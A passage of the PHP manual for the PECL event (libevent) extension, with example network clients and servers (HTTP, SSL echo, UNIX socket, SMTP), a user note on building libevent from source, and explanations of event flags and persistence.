安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/event .

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Simple HTTP client

<?php
// Read callback
function readcb($bev, $base) {
//$input = $bev->input; //$bev->getInput();

//$pos = $input->search("TTP");
$pos = $bev->input->search("TTP");

while (($n = $bev->input->remove($buf, 1024)) > 0) {
echo $buf;
}
}

// Event callback
function eventcb($bev, $events, $base) {
if ($events & EventBufferEvent::CONNECTED) {
echo "Connected.\n";
} elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
if ($events & EventBufferEvent::ERROR) {
echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
}

echo "Closing\n";
$base->exit();
exit("Done\n");
}
}

if ($argc != 3) {
echo <<<EOS
Trivial HTTP 0.x client
Syntax: php {$argv[0]} [hostname] [resource]
Example: php {$argv[0]} www.google.com /

EOS;
exit();
}

$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // We'll use async DNS resolving
if (!$dns_base) {
exit("Failed to init DNS Base\n");
}

$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
"readcb", /* writecb */ NULL, "eventcb"
);
if (!$bev) {
exit("Failed creating bufferevent socket\n");
}

//$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

$output = $bev->output; //$bev->getOutput();
if (!$output->add(
"GET {$argv[2]} HTTP/1.0\r\n".
"Host: {$argv[1]}\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Failed adding request to output buffer\n");
}

if (!$bev->connectHost($dns_base, $argv[1], 80, EventUtil::AF_UNSPEC)) {
exit("Can't connect to host {$argv[1]}\n");
}

$base->dispatch();
?>

以上示例的输出类似于：

Connected.
HTTP/1.1 301 Moved Permanently
Date: Fri, 01 Mar 2013 18:47:48 GMT
Location: http://www.google.co.uk/
Content-Type: text/html; CHARSET=gb2312
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Age: 133438
Expires: Sat, 30 Mar 2013 05:39:28 GMT
Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;CHARSET=gb2312">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.co.uk/">here</A>.
</BODY></HTML>
Closing
Done

Example #2 HTTP client using asynchronous DNS resolver

<?php
/*
* 1. Connect to 127.0.0.1 at port 80
* by means of EventBufferEvent::connect().
*
* 2. Request /index.cphp via HTTP/1.0
* using the output buffer.
*
* 3. Asyncronously read the response and print it to stdout.
*/

// Read callback
function readcb($bev, $base) {
$input = $bev->getInput();

while (($n = $input->remove($buf, 1024)) > 0) {
echo $buf;
}
}

// Event callback
function eventcb($bev, $events, $base) {
if ($events & EventBufferEvent::CONNECTED) {
echo "Connected.\n";
} elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
if ($events & EventBufferEvent::ERROR) {
echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
}

echo "Closing\n";
$base->exit();
exit("Done\n");
}
}

$base = new EventBase();

echo "step 1\n";
$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS);
if (!$bev) {
exit("Failed creating bufferevent socket\n");
}

echo "step 2\n";
$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

echo "step 3\n";
// Send request
$output = $bev->getOutput();
if (!$output->add(
"GET /index.cphp HTTP/1.0\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Failed adding request to output buffer\n");
}

/* Connect to the host syncronously.
We know the IP, and don't need to resolve DNS. */
if (!$bev->connect("127.0.0.1:80")) {
exit("Can't connect to host\n");
}

// Dispatch pending events
$base->dispatch();
?>

Example #3 Echo server

<?php
/*
* Simple echo server based on libevent's connection listener.
*
* Usage:
* 1) In one terminal window run:
*
* $ php listener.php 9881
*
* 2) In another terminal window open up connection, e.g.:
*
* $ nc 127.0.0.1 9881
*
* 3) start typing. The server should repeat the input.
*/

class MyListenerConnection {
private $bev, $base;

public function __destruct() {
$this->bev->free();
}

public function __construct($base, $fd) {
$this->base = $base;

$this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

$this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
array($this, "echoEventCallback"), NULL);

if (!$this->bev->enable(Event::READ)) {
echo "Failed to enable READ\n";
return;
}
}

public function echoReadCallback($bev, $ctx) {
// Copy all the data from the input buffer to the output buffer

// Variant #1
$bev->output->addBuffer($bev->input);

/* Variant #2 */
/*
$input = $bev->getInput();
$output = $bev->getOutput();
$output->addBuffer($input);
*/
}

public function echoEventCallback($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
echo "Error from bufferevent\n";
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
//$bev->free();
$this->__destruct();
}
}
}

class MyListener {
public $base,
$listener,
$socket;
private $conn = array();

public function __destruct() {
foreach ($this->conn as &$c) $c = NULL;
}

public function __construct($port) {
$this->base = new EventBase();
if (!$this->base) {
echo "Couldn't open event base";
exit(1);
}

// Variant #1
/*
$this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!socket_bind($this->socket, '0.0.0.0', $port)) {
echo "Unable to bind socket\n";
exit(1);
}
$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1, $this->socket);
*/

// Variant #2
$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
"0.0.0.0:$port");

if (!$this->listener) {
echo "Couldn't create listener";
exit(1);
}

$this->listener->setErrorCallback(array($this, "accept_error_cb"));
}

public function dispatch() {
$this->base->dispatch();
}

// This callback is invoked when there is data to read on $bev
public function acceptConnCallback($listener, $fd, $address, $ctx) {
// We got a new connection! Set up a bufferevent for it. */
$base = $this->base;
$this->conn[] = new MyListenerConnection($base, $fd);
}

public function accept_error_cb($listener, $ctx) {
$base = $this->base;

fprintf(STDERR, "Got an error %d (%s) on the listener. "
."Shutting down.\n",
EventUtil::getLastSocketErrno(),
EventUtil::getLastSocketError());

$base->exit(NULL);
}
}

$port = 9808;

if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port");
}

$l = new MyListener($port);
$l->dispatch();
?>

Example #4 SSL echo server

<?php
/*
* SSL echo server
*
* To test:
* 1) Run:
* $ php examples/ssl-echo-server/server.php 9998
*
* 2) in another terminal window run:
* $ socat - SSL:127.0.0.1:9998,verify=1,cafile=examples/ssl-echo-server/cert.pem
*/

class MySslEchoServer {
public $port,
$base,
$bev,
$listener,
$ctx;

function __construct ($port, $host = "127.0.0.1") {
$this->port = $port;
$this->ctx = $this->init_ssl();
if (!$this->ctx) {
exit("Failed creating SSL context\n");
}

$this->base = new EventBase();
if (!$this->base) {
exit("Couldn't open event base\n");
}

$this->listener = new EventListener($this->base,
array($this, "ssl_accept_cb"), $this->ctx,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1, "$host:$port");
if (!$this->listener) {
exit("Couldn't create listener\n");
}

$this->listener->setErrorCallback(array($this, "accept_error_cb"));
}
function dispatch() {
$this->base->dispatch();
}

// This callback is invoked when there is data to read on $bev.
function ssl_read_cb($bev, $ctx) {
$in = $bev->input; //$bev->getInput();

printf("Received %zu bytes\n", $in->length);
printf("----- data ----\n");
printf("%ld:\t%s\n", (int) $in->length, $in->pullup(-1));

$bev->writeBuffer($in);
}

// This callback is invoked when some even occurs on the event listener,
// e.g. connection closed, or an error occurred
function ssl_event_cb($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
// Fetch errors from the SSL error stack
while ($err = $bev->sslError()) {
fprintf(STDERR, "Bufferevent error %s.\n", $err);
}
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
$bev->free();
}
}

// This callback is invoked when a client accepts new connection
function ssl_accept_cb($listener, $fd, $address, $ctx) {
// We got a new connection! Set up a bufferevent for it.
$this->bev = EventBufferEvent::sslSocket($this->base, $fd, $this->ctx,
EventBufferEvent::SSL_ACCEPTING, EventBufferEvent::OPT_CLOSE_ON_FREE);

if (!$this->bev) {
echo "Failed creating ssl buffer\n";
$this->base->exit(NULL);
exit(1);
}

$this->bev->enable(Event::READ);
$this->bev->setCallbacks(array($this, "ssl_read_cb"), NULL,
array($this, "ssl_event_cb"), NULL);
}

// This callback is invoked when we failed to setup new connection for a client
function accept_error_cb($listener, $ctx) {
fprintf(STDERR, "Got an error %d (%s) on the listener. "
."Shutting down.\n",
EventUtil::getLastSocketErrno(),
EventUtil::getLastSocketError());

$this->base->exit(NULL);
}

// Initialize SSL structures, create an EventSslContext
// Optionally create self-signed certificates
function init_ssl() {
// We *must* have entropy. Otherwise there's no point to crypto.
if (!EventUtil::sslRandPoll()) {
exit("EventUtil::sslRandPoll failed\n");
}

$local_cert = __DIR__."/cert.pem";
$local_pk = __DIR__."/privkey.pem";

if (!file_exists($local_cert) || !file_exists($local_pk)) {
echo "Couldn't read $local_cert or $local_pk file. To generate a key\n",
"and self-signed certificate, run:\n",
" openssl genrsa -out $local_pk 2048\n",
" openssl req -new -key $local_pk -out cert.req\n",
" openssl x509 -req -days 365 -in cert.req -signkey $local_pk -out $local_cert\n";

return FALSE;
}

$ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array (
EventSslContext::OPT_LOCAL_CERT => $local_cert,
EventSslContext::OPT_LOCAL_PK => $local_pk,
//EventSslContext::OPT_PASSPHRASE => "echo server",
EventSslContext::OPT_VERIFY_PEER => true,
EventSslContext::OPT_ALLOW_SELF_SIGNED => false,
));

return $ctx;
}
}

// Allow to override the port
$port = 9999;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port\n");
}

$l = new MySslEchoServer($port);
$l->dispatch();
?>

Example #5 Signal handler

<?php
/*
Launch it in a terminal window:

$ php examples/signal.php

In another terminal window find out the pid and send SIGTERM, e.g.:

$ ps aux | grep examp
ruslan 3976 0.2 0.0 139896 11256 pts/1 S+ 10:25 0:00 php examples/signal.php
ruslan 3978 0.0 0.0 9572 864 pts/2 S+ 10:26 0:00 grep --color=auto examp
$ kill -TERM 3976

At the first terminal window you should catch the following:

Caught signal 15
*/
class MyEventSignal {
private $base;

function __construct($base) {
$this->base = $base;
}

function eventSighandler($no, $c) {
echo "Caught signal $no\n";
event_base_loopexit($c->base);
}
}

$base = event_base_new();
$c = new MyEventSignal($base);
$no = SIGTERM;
$ev = evsignal_new($base, $no, array($c,'eventSighandler'), $c);

evsignal_add($ev);

event_base_loop($base);
?>

Example #6 Use libevent's loop to process requests of `eio' extension

<?php
// Callback for eio_nop()
function my_nop_cb($d, $r) {
echo "step 6\n";
}

$dir = "/tmp/abc-eio-temp";
if (file_exists($dir)) {
rmdir($dir);
}

echo "step 1\n";

$base = new EventBase();

echo "step 2\n";

eio_init();

eio_mkdir($dir, 0750, EIO_PRI_DEFAULT, "my_nop_cb");

$event = new Event($base, eio_get_event_stream(),
Event::READ | Event::PERSIST, function ($fd, $events, $base) {
echo "step 5\n";

while (eio_nreqs()) {
eio_poll();
}

$base->stop();
}, $base);

echo "step 3\n";

$event->add();

echo "step 4\n";

$base->dispatch();

echo "Done\n";
?>

Example #7 Miscellaneous

<?php
/* {{{ Config & supported stuff */
echo "Supported methods:\n";
foreach (Event::getSupportedMethods() as $m) {
echo $m, PHP_EOL;
}

// Avoiding "select" method
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "'select' method avoided\n";
}

// Create event_base associated with the config
$base = new EventBase($cfg);
echo "Event method used: ", $base->getMethod(), PHP_EOL;

echo "Features:\n";
$features = $base->getFeatures();
($features & EventConfig::FEATURE_ET) and print "ET - edge-triggered IO\n";
($features & EventConfig::FEATURE_O1) and print "O1 - O(1) operation for adding/deleting events\n";
($features & EventConfig::FEATURE_FDS) and print "FDS - arbitrary file descriptor types, and not just sockets\n";

// Require FDS feature
if ($cfg->requireFeatures(EventConfig::FEATURE_FDS)) {
echo "FDS feature is now required\n";

$base = new EventBase($cfg);
($base->getFeatures() & EventConfig::FEATURE_FDS)
and print "FDS - arbitrary file descriptor types, and not just sockets\n";
}
/* }}} */

/* {{{ Base */
$base = new EventBase();
$event = new Event($base, STDIN, Event::READ | Event::PERSIST, function ($fd, $events, $arg) {
static $max_iterations = 0;

if (++$max_iterations >= 5) {
/* exit after 5 iterations with timeout of 2.33 seconds */
echo "Stopping...\n";
$arg[0]->exit(2.33);
}

echo fgets($fd);
}, array (&$base));

$event->add();
$base->loop();
/* Base }}} */
?>

Example #8 Simple HTTP server

<?php
/*
* Simple HTTP server.
*
* To test it:
* 1) Run it on a port of your choice, e.g.:
* $ php examples/http.php 8010
* 2) In another terminal connect to some address on this port
* and make GET or POST request(others are turned off here), e.g.:
* $ nc -t 127.0.0.1 8010
* POST /about HTTP/1.0
* Content-Type: text/plain
* Content-Length: 4
* Connection: close
* (press Enter)
*
* It will output
* a=12
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* $ nc -t 127.0.0.1 8010
* GET /dump HTTP/1.0
* Content-Type: text/plain
* Content-Encoding: UTF-8
* Connection: close
* (press Enter)
*
* It will output:
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
* (press Enter)
*
* $ nc -t 127.0.0.1 8010
* GET /unknown HTTP/1.0
* Connection: close
*
* It will output:
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* 3) See what the server outputs on the previous terminal window.
*/

function _http_dump($req, $data) {
static $counter = 0;
static $max_requests = 2;

if (++$counter >= $max_requests) {
echo "Counter reached max requests $max_requests. Exiting\n";
exit();
}

echo __METHOD__, " called\n";
echo "request:"; var_dump($req);
echo "data:"; var_dump($data);

echo "\n===== DUMP =====\n";
echo "Command:", $req->getCommand(), PHP_EOL;
echo "URI:", $req->getUri(), PHP_EOL;
echo "Input headers:"; var_dump($req->getInputHeaders());
echo "Output headers:"; var_dump($req->getOutputHeaders());

echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";

echo "\n >> Reading input buffer ...\n";
$buf = $req->getInputBuffer();
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
echo "No more data in the buffer\n";
}

function _http_about($req) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_default($req, $data) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

以上示例的输出类似于：

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close
(press Enter)

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

Example #9 Simple HTTPS server

<?php
/*
* Simple HTTPS server.
*
* 1) Run the server: `php examples/https.php 9999`
* 2) Test it: `php examples/ssl-connection.php 9999`
*/

function _http_dump($req, $data) {
static $counter = 0;
static $max_requests = 200;

if (++$counter >= $max_requests) {
echo "Counter reached max requests $max_requests. Exiting\n";
exit();
}

echo __METHOD__, " called\n";
echo "request:"; var_dump($req);
echo "data:"; var_dump($data);

echo "\n===== DUMP =====\n";
echo "Command:", $req->getCommand(), PHP_EOL;
echo "URI:", $req->getUri(), PHP_EOL;
echo "Input headers:"; var_dump($req->getInputHeaders());
echo "Output headers:"; var_dump($req->getOutputHeaders());

echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";

$buf = $req->getInputBuffer();
echo "\n >> Reading input buffer (", $buf->length, ") ...\n";
while ($s = $buf->read(1024)) {
echo $s;
}
echo "\nNo more data in the buffer\n";
}

function _http_about($req) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_default($req, $data) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_400($req) {
$req->sendError(400);
}

function _init_ssl() {
$local_cert = __DIR__."/ssl-echo-server/cert.pem";
$local_pk = __DIR__."/ssl-echo-server/privkey.pem";

$ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array (
EventSslContext::OPT_LOCAL_CERT => $local_cert,
EventSslContext::OPT_LOCAL_PK => $local_pk,
//EventSslContext::OPT_PASSPHRASE => "test",
EventSslContext::OPT_ALLOW_SELF_SIGNED => true,
));

return $ctx;
}

$port = 9999;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port");
}
$ip = '0.0.0.0';

$base = new EventBase();
$ctx = _init_ssl();
$http = new EventHttp($base, $ctx);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setCallback("/err400", "_http_400");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind($ip, $port);
$base->dispatch();

Example #10 OpenSSL connection

<?php
/*
* Sample OpenSSL client.
*
* Usage:
* 1) Launch a server, e.g.:
* $ php examples/https.php 9999
*
* 2) Launch the client in another terminal:
* $ php examples/ssl-connection.php 9999
*/

function _request_handler($req, $base) {
echo __FUNCTION__, PHP_EOL;

if (is_null($req)) {
echo "Timed out\n";
} else {
$response_code = $req->getResponseCode();

if ($response_code == 0) {
echo "Connection refused\n";
} elseif ($response_code != 200) {
echo "Unexpected response: $response_code\n";
} else {
echo "Success: $response_code\n";
$buf = $req->getInputBuffer();
echo "Body:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}

$base->exit(NULL);
}

function _init_ssl() {
$ctx = new EventSslContext(EventSslContext::SSLv3_CLIENT_METHOD, array ());

return $ctx;
}

// Allow to override the port
$port = 9999;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port\n");
}
$host = '127.0.0.1';

$ctx = _init_ssl();
if (!$ctx) {
trigger_error("Failed creating SSL context", E_USER_ERROR);
}

$base = new EventBase();
if (!$base) {
trigger_error("Failed to initialize event base", E_USER_ERROR);
}

$conn = new EventHttpConnection($base, NULL, $host, $port, $ctx);
$conn->setTimeout(50);

$req = new EventHttpRequest("_request_handler", $base);
$req->addHeader("Host", $host, EventHttpRequest::OUTPUT_HEADER);
$buf = $req->getOutputBuffer();
$buf->add("<html>HTML TEST</html>");
//$req->addHeader("Content-Length", $buf->length, EventHttpRequest::OUTPUT_HEADER);
//$req->addHeader("Connection", "close", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_POST, "/dump");

$base->dispatch();
echo "END\n";
?>

Example #11 EventHttpConnection::makeRequest() example

<?php
function _request_handler($req, $base) {
echo __FUNCTION__, PHP_EOL;

if (is_null($req)) {
echo "Timed out\n";
} else {
$response_code = $req->getResponseCode();

if ($response_code == 0) {
echo "Connection refused\n";
} elseif ($response_code != 200) {
echo "Unexpected response: $response_code\n";
} else {
echo "Success: $response_code\n";
$buf = $req->getInputBuffer();
echo "Body:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}

$base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

以上示例的输出类似于：

_request_handler
Success: 200
Body:
PHP, date:
2013-03-13T20:27:52+05:00

Example #12 Connection listener based on a UNIX domain socket

<?php
/*
* Simple echo server based on libevent's connection listener.
*
* Usage:
* 1) In one terminal window run:
*
* $ php unix-domain-listener.php [path-to-socket]
*
* 2) In another terminal window open up connection
* to the socket, e.g.:
*
* $ socat - GOPEN:/tmp/1.sock
*
* 3) Start typing. The server should repeat the input.
*/

class MyListenerConnection {
private $bev, $base;

public function __destruct() {
if ($this->bev) {
$this->bev->free();
}
}

public function __construct($base, $fd) {
$this->base = $base;

$this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

$this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
array($this, "echoEventCallback"), NULL);

if (!$this->bev->enable(Event::READ)) {
echo "Failed to enable READ\n";
return;
}
}

public function echoReadCallback($bev, $ctx) {
// Copy all the data from the input buffer to the output buffer
$bev->output->addBuffer($bev->input);
}

public function echoEventCallback($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
echo "Error from bufferevent\n";
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
$bev->free();
$bev = NULL;
}
}
}

class MyListener {
public $base,
$listener,
$socket;
private $conn = array();

public function __destruct() {
foreach ($this->conn as &$c) $c = NULL;
}

public function __construct($sock_path) {
$this->base = new EventBase();
if (!$this->base) {
echo "Couldn't open event base";
exit(1);
}

if (file_exists($sock_path)) {
unlink($sock_path);
}

$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
"unix:$sock_path");

if (!$this->listener) {
trigger_error("Couldn't create listener", E_USER_ERROR);
}

$this->listener->setErrorCallback(array($this, "accept_error_cb"));
}

public function dispatch() {
$this->base->dispatch();
}

// This callback is invoked when there is data to read on $bev
public function acceptConnCallback($listener, $fd, $address, $ctx) {
// We got a new connection! Set up a bufferevent for it. */
$base = $this->base;
$this->conn[] = new MyListenerConnection($base, $fd);
}

public function accept_error_cb($listener, $ctx) {
$base = $this->base;

fprintf(STDERR, "Got an error %d (%s) on the listener. "
."Shutting down.\n",
EventUtil::getLastSocketErrno(),
EventUtil::getLastSocketError());

$base->exit(NULL);
}
}

if ($argc <= 1) {
exit("Socket path is not provided\n");
}
$sock_path = $argv[1];

$l = new MyListener($sock_path);
$l->dispatch();
?>

Example #13 Simple SMTP server

<?php
/*
* Author: Andrew Rose <hello at andrewrose dot co dot uk>
*
* Usage:
* 1) Prepare cert.pem certificate and privkey.pem private key files.
* 2) Launch the server script
* 3) Open TLS connection, e.g.:
* $ openssl s_client -connect localhost:25 -starttls smtp -crlf
* 4) Start testing the commands listed in `cmd` method below.
*/

class Handler {
public $domainName = FALSE;
public $connections = [];
public $buffers = [];
public $maxRead = 256000;

public function __construct() {
$this->ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, [
EventSslContext::OPT_LOCAL_CERT => 'cert.pem',
EventSslContext::OPT_LOCAL_PK => 'privkey.pem',
//EventSslContext::OPT_PASSPHRASE => '',
EventSslContext::OPT_VERIFY_PEER => false, // change to true with authentic cert
EventSslContext::OPT_ALLOW_SELF_SIGNED => true // change to false with authentic cert
]);

$this->base = new EventBase();
if (!$this->base) {
exit("Couldn't open event base\n");
}

if (!$this->listener = new EventListener($this->base,
[$this, 'ev_accept'],
$this->ctx,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1,
'0.0.0.0:25'))
{
exit("Couldn't create listener\n");
}

$this->listener->setErrorCallback([$this, 'ev_error']);
$this->base->dispatch();
}

public function ev_accept($listener, $fd, $address, $ctx) {
static $id = 0;
$id += 1;

$this->connections[$id]['clientData'] = '';
$this->connections[$id]['cnx'] = new EventBufferEvent($this->base, $fd,
EventBufferEvent::OPT_CLOSE_ON_FREE);

if (!$this->connections[$id]['cnx']) {
echo "Failed creating buffer\n";
$this->base->exit(NULL);
exit(1);
}

$this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL,
[$this, 'ev_error'], $id);
$this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);

$this->ev_write($id, '220 '.$this->domainName." wazzzap?\r\n");
}

function ev_error($listener, $ctx) {
$errno = EventUtil::getLastSocketErrno();

fprintf(STDERR, "Got an error %d (%s) on the listener. Shutting down.\n",
$errno, EventUtil::getLastSocketError());

if ($errno != 0) {
$this->base->exit(NULL);
exit();
}
}

public function ev_close($id) {
$this->connections[$id]['cnx']->disable(Event::READ | Event::WRITE);
unset($this->connections[$id]);
}

protected function ev_write($id, $string) {
echo 'S('.$id.'): '.$string;
$this->connections[$id]['cnx']->write($string);
}

public function ev_read($buffer, $id) {
while($buffer->input->length > 0) {
$this->connections[$id]['clientData'] .= $buffer->input->read($this->maxRead);
$clientDataLen = strlen($this->connections[$id]['clientData']);

if($this->connections[$id]['clientData'][$clientDataLen-1] == "\n"
&& $this->connections[$id]['clientData'][$clientDataLen-2] == "\r")
{
// remove the trailing \r\n
$line = substr($this->connections[$id]['clientData'], 0,
strlen($this->connections[$id]['clientData']) - 2);

$this->connections[$id]['clientData'] = '';
$this->cmd($buffer, $id, $line);
}
}
}

protected function cmd($buffer, $id, $line) {
switch ($line) {
case strncmp('EHLO ', $line, 4):
$this->ev_write($id, "250-STARTTLS\r\n");
$this->ev_write($id, "250 OK ehlo\r\n");
break;

case strncmp('HELO ', $line, 4):
$this->ev_write($id, "250-STARTTLS\r\n");
$this->ev_write($id, "250 OK helo\r\n");
break;

case strncmp('QUIT', $line, 3):
$this->ev_write($id, "250 OK quit\r\n");
$this->ev_close($id);
break;

case strncmp('STARTTLS', $line, 3):
$this->ev_write($id, "220 Ready to start TLS\r\n");
$this->connections[$id]['cnx'] = EventBufferEvent::sslFilter($this->base,
$this->connections[$id]['cnx'], $this->ctx,
EventBufferEvent::SSL_ACCEPTING,
EventBufferEvent::OPT_CLOSE_ON_FREE);
$this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL, [$this, 'ev_error'], $id);
$this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);
break;

default:
echo 'unknown command: '.$line."\n";
break;
}
}
}

new Handler();

User Contributed Notes

Bas Vijfwinkel 26-Jun-2015 09:17
In order to use certain features used in the examples above here you need a very recent version of libevent (>= 2.1).
Although 'pecl install event' will not show any errors, certain features are disabled and certain function calls might use a different number of parameters.
For example EventHttp will throw a warning that the number of parameters should be 1 instead of 2 (when using it with a SSL context) and as a bonus cause a segmentation fault.

On some distributions of Linux, the stable libevent library might not be recent enough for all features to be enabled and you might need to use an alpha version.

You can install an alpha version of libevent next to the stable version that might already be on your machine.
The basic steps are:
- download the alpha tarball to a folder e.g libevent-2.1.3-alpha.tar.gz
- tar zxvf libevent-2.1.3-alpha.tar.gz
- cd libevent-2.1.3-alpha
- ./configure --prefix=/opt/libevent-alpha
- make
- make install

Now the alpha version of libevent is created in /opt/libevent-alpha.

Before running pecl, first export the library folder of libevent so that pecl knows where your most recent libevent stuff is:
export LD_LIBRARY_PATH=/opt/libevent-2.1.3-alpha/lib
Without this export I couldn't get pecl to use the correct libevent

Now run 'pecl install event'
and when asked libevent installation prefix [/usr] :
enter :  /opt/libevent-2.1.3-alpha
Now pecl will use your alpha version of libevent instead of the default version.

If everything goes well then you should be able to enjoy the full glory of this wonderfull extension.

If you try to install a very recent version of libevent on a system with a  old version of openssl (0.9), you also need to update that because there are some dependencies in libevent that do not work with 0.9


Event flags

Event::READ This flag indicates an event that becomes active when the provided file descriptor (usually a stream resource, or socket) is ready for reading.

Event::WRITE flag indicates an event that becomes active when the provided file descriptor (usually a stream resource, or socket) is ready for writing.

Event::SIGNAL used to implement signal detection. See "Constructing signal events" below.

Event::TIMEOUT indicates an event that becomes active after a timeout elapses. The Event::TIMEOUT flag is ignored when constructing an event: one can either set a timeout when event is added , or not. It is set in the $what argument to the callback function when a timeout has occurred.

See also » Fast portable non-blocking network programming with Libevent, Working with events, Event flags

User Contributed Notes

There are no user contributed notes for this page.


About event persistence

By default, whenever a pending event becomes active (because its file descriptor is ready to read or write, or because its timeout expires), it becomes non-pending right before its callback is executed. Thus, to make the event pending again one may call Event::add() on it again from inside the callback function.

If the Event::PERSIST flag is set on an event, however, the event is persistent . This means that event remains pending even when its callback is activated. Event::del() method can be called to make it non-pending.

The timeout on a persistent event resets whenever the event's callback runs. Thus, if one has an event with flags Event::READ | Event::PERSIST and a timeout of five seconds, the event will become active:

